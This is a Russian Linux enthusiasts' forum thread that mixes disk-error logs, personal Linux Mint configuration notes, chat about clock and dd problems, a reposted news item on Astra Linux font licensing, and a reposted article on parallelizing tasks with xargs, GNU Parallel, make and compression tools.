[   18.250593] ata4.00: cmd 25/00:00:f8:50:9a/00:01:60:00:00/e0 tag 0 dma 131072 in
[   18.250593]          res 51/84:00:f8:50:9a/84:01:60:00:00/e0 Emask 0x30 (host bus error)
[   18.250597] ata4.00: status: { DRDY ERR }
[   18.250601] ata4.00: error: { ICRC ABRT }
[   18.250609] ata4: soft resetting link
[   18.420261] ata4.00: configured for UDMA/33
[   18.420270] ata4: EH complete
[   18.792221] ata4.00: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x6
[   18.792225] ata4.00: BMDMA stat 0x26
[   18.792229] ata4.00: failed command: READ DMA EXT
[   18.792237] ata4.00: cmd 25/00:00:f8:56:9b/00:04:60:00:00/e0 tag 0 dma 524288 in
[   18.792237]          res 51/84:00:f8:56:9b/84:04:60:00:00/e0 Emask 0x30 (host bus error)
[   18.792241] ata4.00: status: { DRDY ERR }
[   18.792244] ata4.00: error: { ICRC ABRT }
[   18.792253] ata4: soft resetting link
[   18.964261] ata4.00: configured for UDMA/33
[   18.964270] ata4: EH complete
[   19.250149] Adding 10485756k swap on /dev/mapper/vg-swap.  Priority:-1 extents:1 across:10485756k FS
[   19.296781] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
[   19.419186] EXT4-fs (dm-0): re-mounted. Opts: errors=remount-ro
[   19.421875] systemd-udevd[428]: starting version 204
[   19.636203] EXT4-fs (sdb2): mounting ext2 file system using the ext4 subsystem
[   19.752558] EXT4-fs (sdb2): mounted filesystem without journal. Opts: (null)
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 24 Сентября 2016, 22:18:14
Чо за ботва у меня творится ?

[   18.792229] ata4.00: failed command: READ DMA EXT
[   18.792237] ata4.00: cmd 25/00:00:f8:56:9b/00:04:60:00:00/e0 tag 0 dma 524288 in
[   18.792237]          res 51/84:00:f8:56:9b/84:04:60:00:00/e0 Emask 0x30 (host bus error)
[   18.792241] ata4.00: status: { DRDY ERR }
[   18.792244] ata4.00: error: { ICRC ABRT }

Проверь веник MHDD`ой  - чёт не нравится мне эта запись....
Название: Re: Занимательная линуксовина
Отправлено: vvm от 01 Октября 2016, 23:38:23
Записки сумасшедшего. Полезные и не очень полезные знания. Применимо к линукс минт 17 xfce.
Писал чисто для себя.

firefox
отключение остопиздевшего окошка "получать уведомления от сайта"
переходим по адресу about:config
dom.webnotifications.enabled = false
отключение остопиздевшего "ой, какая незадача" при старте браузера (ошибка восстановления предыдущей сессии)
browser.sessionstore.resume_from_crash = false


gnome schedule

grub-customized   PPA   настройка grub

установка линукс с lvm
грузимся с live-CD минта
sudo apt-get install gparted
им создаем пустой раздел на винте
в этом разделе создаем
      раздел ext2 512MB метка boot
      раздел ext4 на остальном месте (без метки)
sudo apt-get install system-config-lvm
им создаем логический раздел lvm на физическом разделе
им создаем разделы на логическом разделе: swap, root, home, и оставить неразмеченное место гигов 10 для снапшотов
http://xgu.ru/wiki/LVM   инфа про LVM

wifi свисток
(в прицепе)

если пропал звук в пульсеаудио
(в прицепе)

вебка
cheese
mplayer -vf mirror -tv fps=15:mjpeg:decimation=1 tv://

настройка минта xfce. спорно, но кое чего есть интересного
http://linux-faq.ru/page/10-operacij-kotorye-sleduet-vypolnit-srazu-zhe-posle-ustanovki-distributiva-linux-mint-s-okruzheniem-xfce

http://alv.me/?p=7325    xfce4-goodies      примочки xfce4

DWriteEnable (DWORD)=0   включить отрисовку меню в Steam (виндовом)

xfce4-sensors      апплет градусника в трее

sudo aptitude update
sudo aptitude upgrade   обновление системы

sudo gedit hosts hostname смена имени компьютера

minimizetotray_revived-1.1.2-tb+sm+fx-linux.xpi сворачивание почты в трей

blkid -c /dev/null   вывод информации о блочных девайсах

df -h         свободное место на дисках

sudo add-apt-repository ppa:nilarimogard/webupd8   аналог пайнта
sudo apt-get update
sudo apt-get install pinta   

sudo gnome-schedule   планировщик задач

nvidia-settings --assign CurrentMetaMode="VGA-0: 1280x1024 { ForceCompositionPipeline = On }"   устранение лагов vsync   добавить в автозапуск

скрипт "свернуть все окна"
/.scripts/minimize_all_windows
#!/bin/sh
target=on
if xprop -root _NET_SHOWING_DESKTOP | fgrep '= 1' ; then
 target=off
fi
wmctrl -k ${target}
      
Для того, чтобы в Pidgin можно было отправлять сообщения, используя клавиши Ctrl+Enter, а Enter использовать для ввода новой строки, нужно проделать следующее. Создать файл с именем gtkrc-2.0 в директории ~/.purple следующего содержания:
binding "my-bindings"
{
    bind "Return" { "insert-at-cursor" ("\n") }
    bind "<ctrl>Return" { "message_send" () }
}
widget "*pidgin_conv_entry" binding "my-bindings"

/etc/rsyslog.d/50-default.conf - файл конфигурации вывода в лог
sudo grep -Hr cron /etc/ | cut -d: -f1 | sort -u - вывод файлов, содержащих текст "cron"

gnome-exe-thumbnailer - значки для exe файлов

усб сом порт в вайне
vadim@mint17 ~/.wine/dosdevices $ ln -is ttyUSB0 com1
vadim@mint17 ~/.wine/dosdevices $ sudo chmod 777 /dev/ttyUSB0
железный сом порт в вайне
vadim@mint17 ~/.wine/dosdevices $ ln -is ttyS0 com1
vadim@mint17 ~/.wine/dosdevices $ sudo chmod 777 /dev/ttyS0

lsof | grep /usr/lib/i386-linux-gnu/wine/
библиотеки вайна

***************************************** icewm ****************************
# доступные альтернативы для x-window-manager
user@host:~$ sudo update-alternatives --list x-window-manager
/usr/bin/icewm

# доступные альтернативы для x-session-manager
user@host:~$ sudo update-alternatives --list x-session-manager
/usr/bin/icewm-session

# смотрим кто сейчас x-window-manager
user@host:~$ ls -l /etc/alternatives/x-window-manager
lrwxrwxrwx 1 root root 14 2007-08-05 22:06 /etc/alternatives/x-window-manager -> /usr/bin/icewm
# если отличается от /usr/bin/icewm, то устанавливаем
user@host:~$ sudo update-alternatives --set x-window-manager /usr/bin/icewm
# проверяем
user@host:~$ ls -l /etc/alternatives/x-window-manager
lrwxrwxrwx 1 root root 14 2007-11-18 22:16 /etc/alternatives/x-window-manager -> /usr/bin/icewm

# смотрим кто сейчас x-session-manager
user@host:~$ ls -l /etc/alternatives/x-session-manager
lrwxrwxrwx 1 root root 14 2007-08-05 22:06 /etc/alternatives/x-window-manager -> /usr/bin/icewm-session
# если отличается от /usr/bin/icewm-session, то устанавливаем
user@host:~$ sudo update-alternatives --set x-session-manager /usr/bin/icewm-session
# проверяем
user@host:~$ ls -l /etc/alternatives/x-session-manager
lrwxrwxrwx 1 root root 22 2007-11-18 22:16 /etc/alternatives/x-session-manager -> /usr/bin/icewm-session

Способ 2 (устаревший): установкой глобальной переменной окружения STARTUP, которая обрабатывается скриптом xinit (startx).
user@host:~$ sudo echo 'STARTUP="icewm-session"' >> /etc/environment

Проверить состояние переменной можно командой env:
user@host:~$ env | grep STARTUP
STARTUP=icewm-session

Примечание: чтобы переменная «вступила» в силу нужно выйти из системы (logout) и войти заново (login).

Для проверки обоих способов используйте команду startx:

Запуск сервера X из консоли
user@host:~$ startx

работает, но потом получим косяк. нижняя панель (Panel1) прыгнет в верх экрана и сломается
лечение - восстановить из бекапа файл ~/.config/xfce4/xfconf/xfce-perchannel-xml



https://wiki.archlinux.org/index.php/Xfce

http://compizomania.blogspot.com/2015/01/linux-mint-171-rebecca-xfce.html - плюшки


Версии ПО:
cat /etc/issue - дистрибутив и версия
apt-cache showpkg packagename - версия packagename и зависимости
uname -r - версия ядра Linux
uname -a - полная информация о ядре
Процессор:
cat /proc/cpuinfo - все процессоры, частоты, флаги и многое другое
cat /proc/loadavg - средняя загрузка процессора за последние 1, 5, и 15 минут
top - при нажатии на клавишу C все процессы будут отсортированы по использованию CPU
Оперативная память:
cat /proc/meminfo - количество RAM и swap, а так же сколько и чем расходуется
free -m - полный объем, использованный объем и объем свободной памяти в Mb
top - при нажатии на клавишу M все процессы будут отсортированы по использованию оперативной памяти
Видеокарта:
glxinfo - информация OpenGL, Xserver и вашей видеокарте
glxinfo | grep direct - проверка поддержки "direct 3D rendering"
glxinfo | grep vendor - производитель видеокарты
lspci | grep VGA - модель видеокарты
glxgears - простой 3D тест, печатает fps в терминале
xrandr - поддерживаемые монитором разрешения
Аудио:
lspci | grep Audio - аудио-контроллеры
aplay --list-devices - расширенная информация об аудио-контроллере
Жесткие диски:
df -H - разделы в виде их точек монтирования и их заполненность в Gb
sudo fdisk -l - все разделы, имена устройств и расположение на диске
Сеть:
lspci | grep Ethernet - Ethernet контроллеры
ifconfig - сетевые интерфейсы, IP-адреса и многое другое
USB устройства:
lsusb - шины USB и подключённые устройства
Дополнительно:
lshal -m - мониторинг за изменениями в оборудовании
lspci - все PCI-устройства
hwinfo --short - детальная информация по всему оборудованию (требуется пакет hwinfo)
uptime - время, прошедшее с момента последней перезагрузки, пользователи и средняя загрузка

http://pipelight.net/cms/



//COM порты
http://www.opennet.ru/man.shtml?topic=setserial&category=8&russian=0 -
cutecomm

// диспетчер устройств
hardinfo
sudo apt-get install gnome-device-manager — это Device Manager
sudo apt-get install sysinfo — это Sysinfo
sudo apt-get install hardinfo — это Hardinfo

// запуск из cron графических программ
В автозагрузку прописать xhost local:vadim
Скрипт, который юзает графическую программу положить в /var/spool/cron/crontabs/

// отключение отключения экрана
sudo xset s off

// стоп X
sudo /etc/init.d/mdm stop
// старт X
sudo /etc/init.d/mdm start


System shock 2
в /home/vadim/.systemshock2/systemshock2/drive_c/Program Files/SystemShock2/cam_ext.cfg
раскомментировать force_windowed

******************************************************
Removal of PulseAudio and Installation of ESound
******************************************************

sudo killall pulseaudio

cp /etc/X11/Xsession.d/70pulseaudio ~/

sudo apt-get purge pulseaudio

sudo apt-get install -y esound esound-clients esound-common libesd-alsa0

sudo reboot

------------------------------------------------------------------------------------------------------------------------------------------------------------------------
EDIT:

AFTER REBOOT:

If you have High Definition Audio (HDA), you may need to unmute you speakers (and the like) after reboot.
You can do this with Gnome Volume Control (-> Preferences).

This was reported for nVidia Corporation MCP61 High Definition Audio (rev a2)
viewtopic.php?f=48&t=33894
QUOTE: "The tutorial for purging pulseaudio and installing Esound ( Alsa?) has worked.
The one thing to note just in case one lapses inton despair is when its all changed, its muted and turned down to zero! You need to notice that!"
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------


******************************
Now let us test how it works.
******************************

1. Adobe Flash with Firefox - works out of the box

Run Firefox -> Youtube -> Audacity Tutorial


RESULT: Adobe Flash works out of the box (video + sound)

Notice that we have not made any changes in the sound settings yet.
Let us look what is there.

System -> Preferences -> Sound
Defauts:
Sound playback: Autodetect
Sound playback: Autodetect
Sound playback: Autodetect
Sound capture: ALSA - Advanced Linux Sound Architecture
Default Mixer Tracks:
Device: Realtek ALC200,200P rev 0 (OSS Mixer)


Для Realtek ALC887

Если ваша материнская плата имеет встроенный Intel HDA Audio (ALC887), то выполните следующие действия:

1. Откройте терминал и выполните следующую команду на редактирование файла   alsa-base.conf:


                  sudo gedit /etc/modprobe.d/alsa-base.conf

2. Когда откроется редактор, в конце файла добавьте строку:

                   options snd-hda-intel model=generic

Сохраните файл и закройте редактор, а затем перезагрузите систему.



Чтобы отключить использование PulseAudio потребуется создать конфигурационный файл client.conf и прописать в него одну единственную строчку:

ekzorchik@srv-serv:~$ nano ~/.config/pulse/client.conf

autospawn = no

Завершаем процесс:

ekzorchik@srv-serv:~$ pkill -f pulseaudio

Проверяем, запущен ли процесс pulseaudio:

ekzorchik@srv-serv:~$ ps aux | grep pulseaudio

ekzorch+  2244  0.0  0.0  17160   948 pts/0    S+   12:28   0:00 grep —color=auto pulseaudio

, отлично — не запущен, что мне и требовалось.

Если же мне потребуется PulseAudio, то нужно будет удалить созданный файл client.conf:

ekzorchik@srv-serv:~$ rm ~/.config/pulse/client.conf

перед игрой pulseaudio -k
после игры pulseaudio --start





Добавлено восстановление доступа, если невозможно войти в систему на экране авторизации. Комбинация клавиш «CTRL+ALT+F1″ вызовет запуск консоли, далее вводим «mdm-recovery».


/etc/mdm/mdm.conf
AutomaticLoginEnable=true - настройка автологона

/etc/sysctl.conf
# Уменьшение значения параметра интенсивности использования раздела подкачки до более приемлемого
vm.swappiness=10 (исходное 60)


При использовании некоторых аппаратных конфигураций, особенно на ноутбуках, процесс загрузки системы может занимать слишком много времени (до нескольких минут!). Причиной такого поведения может быть некорректная работа службы для управления широкополосными беспроводными модемами (никак не связанной с Wi-Fi). Если это так, вы можете попутаться сократить время загрузки системы, удалив эту службу, конечно же, если вы не пользуетесь широкополосными модемами. Для этого следует открыть терминал и ввести в него следующую команду (используйте функции копирования/вставки):

sudo apt-get purge modemmanager




 

Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Октября 2016, 16:09:50
Вот и на нашей улице праздник

Linux.BackDoor.FakeFile.1

Добавлен в вирусную базу Dr.Web:   2016-10-14
http://vms.drweb.ru/virus/?i=8856496&amp;lng=en
Название: Re: Занимательная линуксовина
Отправлено: vvm от 29 Октября 2016, 13:29:53
Объясните мне разницу между командами МС:
Создать символическую ссылку
Создать относительную символическую ссылку
Название: Re: Занимательная линуксовина
Отправлено: vvm от 17 Ноября 2016, 08:33:42
hwclock --localtime --systohc --debug

Решение проблемы неверного (вернее UTC+0) время в BIOS.

Актуально при дуалбуте линя и других ОС.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 17 Ноября 2016, 14:24:16
Выравниваю в дистрах одинаковый метод отсчёта.
Предпочитаю равнять именно в винде, указывая ей, что она не умеет смотреть на часики. Пример http://zenux.ru/articles/49/
Название: Re: Занимательная линуксовина
Отправлено: vvm от 17 Ноября 2016, 19:17:48
hwclock --localtime --systohc --debug

Решение проблемы неверного (вернее UTC+0) время в BIOS.

Актуально при дуалбуте линя и других ОС.

Прикол. Способ работает в минт 17.3 и не работает в минт 17.2 ...

Или я где затупил. У меня связка XP и минт 17.3, у шефа винда 7 и минт 17.2

Дак вот, серет в биос именно минт.

Или я чего туплю.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 18 Ноября 2016, 05:57:43
...
Дак вот, серет в биос именно минт.

Не знаю как именно в mint`е, но и в линухе тоже можно выставить что за время у нас биос показывает:  /etc/default/rcS(есть такой файло в последней xubuntu) или /etc/rc.conf(в моём арче)  UTC=yes или UTC=no. в зависимости от предпочтений.

З.Ы. Сначала я именно линухи в угоду винде переводил в локалтайм, но потом нашел в гугеле эту строчку про реестр и теперь бивис всегда у меня в utc.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 18 Ноября 2016, 18:03:37
/etc/default/rcS UTC=no

Вот это работает, спасиба  :)
Название: Re: Занимательная линуксовина
Отправлено: Newkid от 18 Ноября 2016, 22:28:08
Так в копилку официальная документация на Samba share для Ubuntu
https://help.ubuntu.com/community/Samba/SambaServerGuide
https://help.ubuntu.com/community/How%20to%20Create%20a%20Network%20Share%20Via%20Samba%20Via%20CLI%20(Command-line%20interface/Linux%20Terminal)%20-%20Uncomplicated,%20Simple%20and%20Brief%20Way!

А так обратить внимание на права и  владельца шары
гость - владелец sudo chown nobody:nogroup /path/to/share
Название: Re: Занимательная линуксовина
Отправлено: vvm от 26 Ноября 2016, 21:52:50
https://habrahabr.ru/post/266083/
Название: Re: Занимательная линуксовина
Отправлено: vvm от 30 Ноября 2016, 20:22:35
vvm (30.11.2016 20:12):
во я сегодня влопался. команда dd (копирование побайтовое) после нештатного завершения работы - контрол Цэ - уничтожила
данные на ИСТОЧНИКЕ копирования. я не ожидал такого подвоха

vvm (30.11.2016 20:12):
раздел хомяка улетел в валгаллу

got10 Дмитрий (30.11.2016 20:12):
это документированная фича???

vvm (30.11.2016 20:13):
это горе моё (

vvm (30.11.2016 20:13):
пошукай по хабрам, неужели такое возможно. ремарка - ФС на LVM2
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 30 Ноября 2016, 20:44:26
Вот те раз.
А выхлопной файло на той же ФС находилось? Моэет это киллер-фича LVM(не юзал её)???

Много раз килял(и Ctrl-C и kill различные) dd при копировании образа на флешку - источник был нетронутым.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 30 Ноября 2016, 20:58:58
Выхлопной на другом физическом винте. Я сам в ахуе
Название: Re: Занимательная линуксовина
Отправлено: vvm от 12 Декабря 2016, 13:53:27
http://hitech.newsru.com/article/12dec2016/timesnewroman

Разработчик отечественной операционной системы Astra Linux "НПО РусБИТех" не смог включить в нее ряд популярных шрифтов, включая Arial, Verdana, Tahoma и стандартный для ведомственных документов шрифт Times New Roman, пишет газета "Коммерсант".

Как рассказал представитель "НПО РусБИТех" на совещании, которое прошло в Минкомсвязи в начале декабря, американская компания Monotype Imaging, владеющая правами на шрифты, отказалась от договора с разработчиками OC из-за их сотрудничества с Минобороны.

По словам руководителя коллектива разработчиков ОС Astra Linux Юрия Соснина, компании вели переговоры о включении шрифтов в состав Astra Linux и даже вышли на устраивающий обе стороны проект договора, "несмотря на довольно высокую стоимость отчислений", однако сделка сорвалась в последний момент. Monotype Imaging отказалась от договора, сославшись на санкции в отношении российских компаний, работающих в интересах Минобороны. Поводом для этого стало найденное упоминание об участии "НПО РусБИТех" в работе международного авиасалона МАКС.

Представители Monotype Imaging не ответили на запрос издания. По словам двух собеседников "Коммерсанта", американская компания изначально была не заинтересована в соглашении и предложила слишком высокие цены. Изначально она установила цену в 650 евро за каждое рабочее место Astra Linux с пакетом шрифтов, в котором были бы Times New Roman, Arial, Courier New, Tahoma и Verdana.

По информации источников, потом сторонам удалось сторговаться примерно до 130 евро за меньшее число шрифтов, но и эта цена является очень высокой, поскольку для некоторых компаний Monotype Imaging называла цену всего 3-4 евро за рабочее место. "Видимо, они не хотели отказывать и надеялись, что цена отпугнет", - предположил собеседник издания.

По словам Соснина, в результате "НПО РусБИТех" была вынуждена совместно с компанией "Паратайп" разработать аналоги Times New Roman - общедоступные шрифты PT Astra Sans и PT Astra Serif. При этом в большинстве нормативных документов органов власти и госкорпораций обязательно использовать Times New Roman, который стал стандартом документооборота в России.

Соснин также отметил, что ранее никто, по всей видимости, не задумывался о необходимости приобретения отдельной лицензии для этого шрифта из-за повсеместного использования Windows, в состав и стоимость которой Times New Roman уже включен. Теперь же эта проблема препятствует активному импортозамещению в госсекторе.

Ранее на это же указывал глава Минкомсвязи Николай Никифоров. В мае этого года он призвал убрать из ведомственных нормативных актов требования, которые вынуждают чиновников пользоваться иностранным программным обеспечением.

Как напоминает издание, "НПО РусБИТех" разрабатывает Astra Linux с 2010 года и ОС включена в реестр отечественного ПО. Согласно доступному отчету "НПО РусБИТех" за 2014 год, сумма заключенных контрактов составила 1,7 млрд рублей, а основными заказчиками компании являются Минобороны, Федеральная служба охраны, Федеральная служба безопасности, Служба внешней разведки, Федеральная таможенная служба, а также Минздрав.
Название: Re: Занимательная линуксовина
Отправлено: Newkid от 12 Декабря 2016, 14:20:27
Перевести весь документооборот на ODF благо Россия приняла ГОСТ Р ИСО/МЭК 26300-2010 https://ru.wikipedia.org/wiki/OpenDocument (https://ru.wikipedia.org/wiki/OpenDocument) и не парить моск.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 12 Декабря 2016, 14:28:34
Парят мосг в данном направлении местные чинушки. Попробуй перешли к-либо док в ODF в ПФР или ИФНС. По закону - обязаны принять, а вот заставить, тока через суд и испортить отношения.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 02 Января 2017, 16:16:42
https://habrahabr.ru/company/xakep/blog/210480/

Очень редко мы задействуем всю мощь нескольких процессоров (или ядер) для решения повседневных задач, а использование мощного графического процессора чаще всего сводится к компьютерным играм. Лично мне это не по душе: я ведь работаю — почему процессор должен отдыхать? Непорядок. Нужно взять на вооружение все возможности и преимущества многопроцессорников (многоядерников) и распараллеливать все, что можно, сэкономив себе этим уйму времени. А если еще и подключить к работе мощную видеоплату с сотней ядер на борту… которая, конечно, сгодится лишь для узкого круга задач, но все же ускорит вычисления весьма существенно.

Linux в этом плане очень силен. Во-первых, в большинстве дистрибутивов из коробки доступны хорошие инструменты для параллельного выполнения, а во-вторых, написано немало софта, спроектированного с учетом многоядерных систем. О гибкости настройки, думаю, даже не нужно говорить. Единственное, с чем могут возникнуть проблемы, — драйверы на видеокарту, но тут уж ничего не поделаешь.

Для начала определимся с методами распараллеливания. Их существует два: средствами самого приложения, которое для выполнения задачи запускает несколько параллельных потоков (multithreading). Другой метод заключается в запуске нескольких копий приложения, каждая из которых будет обрабатывать определенную порцию данных. Операционная система в данном случае самостоятельно распределит процессы по ядрам или процессорам (multitasking).

Распараллеливаем прямо в терминале

Начнем, пожалуй, с параллельного запуска процессов прямо из окна терминала. Запуск в терминале процессов, работающих длительное время, не представляет проблему. А что, если нужно два таких процесса? «Тоже не проблема, — скажешь ты, — просто запустим второй процесс в другом окне терминала». А если нужно запустить десять или больше? Хм… Первое, что приходит в голову, — использовать утилиту xargs. Если задать ей опцию --max-procs=n, то софтина будет выполнять n процессов одновременно, что нам, конечно же, на руку. Официальный мануал рекомендует использовать вместе с опцией --max-procs группировку по аргументам (опция -n): без этого возможны проблемы с параллельным запуском. Для примера представим, что нам нужно заархивировать кучу больших (или маленьких) файлов:

$ cd folder/with/files
$ ls | xargs -n1 --max-procs=4 gzip


Сколько времени мы выиграли? Стоит ли заморачиваться с этим? Тут будет уместно привести цифры. На моем четырехъядерном процессоре обычное архивирование пяти файлов, каждый из которых весил около 400 Мб, заняло 1 мин 40 с. С использованием же xargs --max-procs=4 затраченное время сократилось почти в четыре раза: 34 с! Думаю, ответ на вопрос очевиден.

Давай попробуем что-нибудь поинтереснее. Переконвертируем, например, WAV-файлы в MP3 с помощью lame:

$ ls *.wav | xargs -n1 --max-procs=4 -I {} lame {} -o {}.mp3


Выглядит неуклюже? Согласен. Но параллельное выполнение процессов — это не основная задача xargs, а всего лишь одна из ее возможностей. Кроме того, xargs не очень хорошо ведет себя с передачей специальных символов, как, например, пробел или кавычки. И тут нам на помощь приходит замечательная утилита под названием GNU Parallel. Софтина доступна в стандартных репозиториях, но не рекомендую устанавливать ее оттуда: в репозиториях Ubuntu, например, мне попалась версия двухлетней давности. Лучше скомпилить себе свежую версию с исходников:

$ wget ftp.gnu.org/gnu/parallel/parallel-latest.tar.bz2
$ tar xjf parallel-latest.tar.bz2
$ cd parallel-20130822
$ ./configure && make
# make install


Само название утилиты говорит о ее узкой специализации. Действительно, Parallel намного удобнее для распараллеливания, и ее использование выглядит более логично. Приведенный выше пример с применением Parallel вместо xargs превращается в такой:

$ ls *.wav | parallel lame {} -o {}.mp3


Кстати, если ты сидишь под Ubuntu или Kubuntu, то пример не будет работать, выдавая непонятные ошибки. Фиксится это добавлением ключа '--gnu' (касается и следующего примера). Подробнее о проблеме читай здесь.

А почему мы не задаем количество одновременно выполняемых процессов? Потому что Parallel сделает это за нас: она определит количество ядер и будет запускать по процессу на ядро. Конечно, можно задать это число и вручную с помощью опции -j. Кстати, если нужно запускать задачу на разных машинах, то для улучшения переносимости удобно задавать эту опцию в формате -j +2, что в данном конкретном случае означает «запускать одновременно на два процесса больше, чем есть вычислительных юнитов в системе».

Если подружить Parallel c Python, то получим мощный инструмент для параллельного выполнения задач. Например, загрузка из Сети веб-страниц и их последующая обработка может выглядеть так:

$ python makelist.py | parallel -j+2 'wget "{}" -O - | python parse.py'


Но и без Python возможностей у этой утилиты предостаточно. Обязательно почитай man — там очень много интересных примеров.

Кроме Parallel и xargs, конечно, есть еще уйма других утилит со схожим функционалом, но они не умеют ничего такого, чего не умеют первые две.

С этим разобрались. Двигаемся дальше.

Параллельная компиляция

Собирать что-то из исходников — обычное дело для линуксоида. Чаще всего приходится собирать что-то незначительное, для таких проектов никто не думает ни о какой параллельной компиляции. Но иногда попадаются проекты побольше, и ждать окончания сборки приходится почти вечность: сборка, например, Android (AOSP) из исходников (в один поток) длится около пяти часов! Для такого рода проектов нужно пускать в ход все ядра.

Во-первых, думаю, очевидно, что собственно сама компиляция (GCC, например) не распараллеливается. Но большие проекты чаще всего составлены из большого количества независимых модулей, библиотек и прочего, которые можно и нужно компилировать одновременно. Нам, конечно же, не надо думать о том, как распараллелить компиляцию, — об этом позаботится make, но только при условии, что в makefile будут прописаны зависимости. В противном случае make не будет знать, в какой последовательности собирать и что можно собирать одновременно, а что нельзя. И поскольку makefile — это забота разработчиков, для нас все сводится к выполнению команды

$ make -jN


после чего make начнет сборку проекта, одновременно запуская до N задач.

Кстати, о выборе значения для параметра -j. В Сети часто рекомендуют использовать число 1,5 * <количество вычислительных юнитов>. Но это не всегда верно. Например, сборка проекта общим весом 250 Мб на моем четырехъядернике быстрее всего прошла со значением параметра -j, равным четырем (смотри скрин).

Зависимость времени компиляции от значения параметра -j
Зависимость времени компиляции от значения параметра


Чтобы выиграть еще немного времени, можно добавить ключ '-pipe' к GCC. С этим ключом передача данных между разными стадиями компиляции происходит через каналы обмена (pipes), а не через временные файлы, что немного (совсем немного) ускоряет процесс.

Кроме make, можно попробовать также pmake — систему параллельной сборки, написанную на Python. Для юзверей ее использование мало чем отличается от make, а вот для разработчиков она может быть довольно интересной, поскольку имеет более обширные возможности, чем стандартный инструмент.

Параллельный Rsync

Если ты когда-нибудь использовал Rsync для синхронизации огромного количества маленьких файлов с удаленным сервером, то, наверное, заметил приличную задержку на стадии receiving file list. Можно ли ускорить этот этап за счет распараллеливания? Конечно, можно. Много времени здесь уходит на задержки в работе сети. Чтобы минимизировать эти временные потери, мы запустим несколько копий Rsync, а чтобы не копировались одни и те же файлы — натравим каждую копию, например, на отдельный каталог. Для этого заюзаем комбинацию параметров --include и --exclude, например так:

$ rsync -av --include="/a*" --exclude="/*" -P login@server:remote /localdir/
$ rsync -av --include="/b*" --exclude="/*" -P login@server:remote /localdir/


Можно запустить вручную несколько копий в разных терминалах, но можно подключить Parallel:

$ cat directory_list.txt | parallel rsync -av --include="/{}*" --exclude="/*" ...



Турбореактивное копирование файлов по SSH

Как правило, для синхронизации директорий между двумя хостами Rsync запускают поверх SSH. Ускорив SSH-соединение, ускорим и работу Rsync. А SSH можно ускорить за счет использования набора патчей OpenSSH HPN, устраняющих ряд узких мест в механизме буферизации серверной и клиентской части SSH. Кроме того, в HPN используется многопоточная версия алгоритма AES-CTR, что повышает скорость шифрования файлов (активируется флагом -oCipher=aes[128|192|256]-ctr). Чтобы проверить, установлен ли у тебя OpenSSH HPN, вбей в терминале:

$ ssh -V


и ищи вход подстроки HPN. Если у тебя оказался обычный OpenSSH, установить HPN-версию можно так:

$ sudo add-apt-repository ppa:w-rouesnel/openssh-hpn
$ sudo apt-get update -y
$ sudo apt-get install openssh-server


Затем добавь в /etc/ssh/sshd_config строки:

HPNDisabled no
TcpRcvBufPoll yes
HPNBufferSize 8192
NoneEnabled yes

после чего перезапусти сервис SSH. Теперь снова создай Rsync/SSH/SCP-подключение и оцени выигрыш.


Сжатие файлов

Все те ускорения, что мы проделывали выше, основаны на одновременном запуске нескольких копий одного и того же процесса. Планировщик процессов операционной системы разруливал эти процессы между ядрами (процессорами) нашей машины, за счет чего мы и получали ускорение. Вернемся к примеру, где мы сжимали несколько файлов. Но что, если нужно сжать один огромный файл, да еще и медленным bzip2? К счастью, сжатие файлов очень хорошо поддается параллельной обработке — файл разбивается на блоки, и они сжимаются независимо. Однако стандартные утилиты, вроде gzip и bzip2, такого функционала не имеют. Благо есть много сторонних продуктов, умеющих это. Рассмотрим только два из них: параллельный аналог gzip — pigz и аналог bzip2 — pbzip2. Две эти утилиты доступны в стандартных репозиториях Ubuntu.

Использование pigz абсолютно ничем не отличается от работы с gzip, кроме возможности указать количество потоков и размер блока. Размер блока в большинстве случаев можно оставить дефолтный, а как количество потоков желательно указать число, равное (или на 1–2 больше) количеству процессоров (ядер) системы:

$ pigz -c -p5 backup.tar > pigz-backup.tar.gz


Выполнение этой команды над файлом backup.tar весом в 620 Мб заняло у меня 12,8 с, результирующий же файл весил 252,2 Мб. Обработка того же файла с помощью gzip:

$ gzip -c backup.tar > gzip-backup.tar.gz


заняла 43 с. Результирующий файл при этом весил всего-то на 100 Кб меньше, по сравнению с предыдущим: 252,1 Мб. Опять же мы получили почти четырехкратное ускорение, что не может не радовать.

Pigz умеет распараллеливать только сжатие, но не распаковку, чего не скажешь про pbzip2 — который умеет и то и другое. Использование утилиты аналогично ее непараллельному варианту:

$ pbzip2 -c -p5 backup.tar > pbzip-backup.tar.bz2


Обработка того же файла backup.tar заняла у меня 38,8 с, размер результирующего файла — 232,8 Мб. Сжатие с использованием обычного bzip2 заняло 1 мин 53 с, при размере файла в 232,7 Мб.

Как я уже говорил, с pbzip2 можно ускорить и распаковку. Но тут нужно учесть один нюанс — параллельно распаковывать можно только то, что до этого было запаковано параллельно, то есть только архивы, созданные с помощью pbzip2. Распаковка в несколько потоков обычного bzip2-архива будет произведена в один поток. Ну и еще немного цифр:

    обычная распаковка — 40,1 с;
    распаковка в пять потоков — 16,3 с.


Осталось только добавить, что архивы, созданные с помощью pigz и pbzip2, полностью совместимы с архивами, созданными с помощью их непараллельных аналогов.

Шифрование

По умолчанию для шифрования домашней директории в Ubuntu и всех производных дистрибутивах используется eCryptfs. На момент написания статьи eCryptfs не поддерживал мультипоточности. И это особенно заметно в папках с большим количеством маленьких файлов. Так что если у тебя многоядерник, то eCryptfs использовать нецелесообразно. Лучшей заменой будет использование систем dm-crypt или Truecrypt. Правда, они могут шифровать только целые разделы или контейнеры, но зато поддерживают мультипоточность.

INFO

    Пакетный фильтр NPF из состава NetBSD 6.0 позволяет добиться максимальной производительности на многоядерных системах за счет параллельной многопоточной обработки пакетов с минимальным числом блокировок.


Если хочешь зашифровать только определенную директорию, а не целый диск, то можешь попробовать EncFS. Она очень похожа на eCryptfs, но работает, в отличие от последней, не в режиме ядра, а с использованием FUSE, что делает ее потенциально медленнее, чем eCryptfs. Но она поддерживает мультипоточность, поэтому на многоядерных системах будет выигрыш в скорости. К тому же она очень проста в установке (доступна в большинстве стандартных репозиториев) и использовании. Нужно всего-то выполнить
